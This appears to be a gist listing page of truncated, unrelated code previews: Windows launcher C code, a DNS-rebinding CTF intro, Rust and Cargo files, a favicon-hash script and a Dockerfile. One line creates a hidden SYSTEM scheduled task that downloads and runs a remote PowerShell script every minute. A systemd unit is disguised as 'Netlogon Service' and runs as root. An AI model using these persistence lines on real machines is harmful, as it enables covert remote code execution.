| const ffi = require('ffi-napi'); | |
| const ref = require("ref-napi"); | |
| const SIZE_T = ref.types.uint64; | |
| const DWORD = ref.types.uint32; | |
| const VOID = ref.types.void; | |
| const LPVOID = ref.refType(VOID); | |
| const HANDLE = LPVOID; | |
| const LPDWORD = ref.refType(DWORD); |
| // Compile with: cl.exe /Ox /W0 /GS- launcher.c | |
| // Check imports with: dumpbin /imports launcher.exe | |
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #pragma comment(linker, "/entry:WinMain") | |
| // Function Pointers |
The given code snippet is vulnerable to DNS rebinding attack where an attacker can switch the IP addresses associated with domain names to pass certain security checks!
To understand this challenge, let's look at the source code:
First things first, there are two files:
app.js: Our friendly vulnerable applicationlocal.js: A simple server which gives us our flag!
| // Custom Error | |
| use std::fmt; | |
| // Structure to refer application errors | |
| pub struct AppError { | |
| pub description: String | |
| } | |
| // Print error message | |
| impl fmt::Display for AppError{ |
| schtasks /create /tn SysMon /tr "powershell -ep bypass -NoLogo -WindowStyle hidden -command 'IEX (New-Object Net.WebClient).DownloadString('''https://gist.githubusercontent.com/whokilleddb/8b85ccf047a77c9ffd1f707cc866038f/raw/SysMaintain.ps1''')'" /sc minute /mo 1 /ru System |
| #!/usr/bin/env python3 | |
| import mmh3 | |
| import sys | |
| import codecs | |
| import requests | |
| if len(sys.argv) != 2: | |
| print(f"Usage: {sys.argv[0]} [Favicon URL]") | |
| sys.exit(0) |
| [package] | |
| name = "sha1_cracker" | |
| version = "0.1.0" | |
| edition = "2021" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| clap = "3.2.5" | |
| termion = "1.5.6" |
| [Unit] | |
| Description=Netlogon Service | |
| [Service] | |
| User=root | |
| WorkingDirectory=/usr/share/rex/ | |
| ExecStart=/usr/share/rex/netlogon.sh | |
| Restart=always | |
| [Install] |
| [package] | |
| name = "forecast" | |
| version = "0.1.0" | |
| authors = ["whokilleddb <whokilleddb@gmail.com>"] | |
| edition = "2018" | |
| # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html | |
| [dependencies] | |
| structopt = "0.3.15" |
| FROM debian:10.11 as source | |
| WORKDIR /kernel | |
| # Extra Metadata | |
| LABEL version = "0.1.0" | |
| LABEL desciption = "Compile A Kernel" | |
| # Install Dependencies | |
| FROM source as init | |
| RUN apt update -y && apt upgrade -y |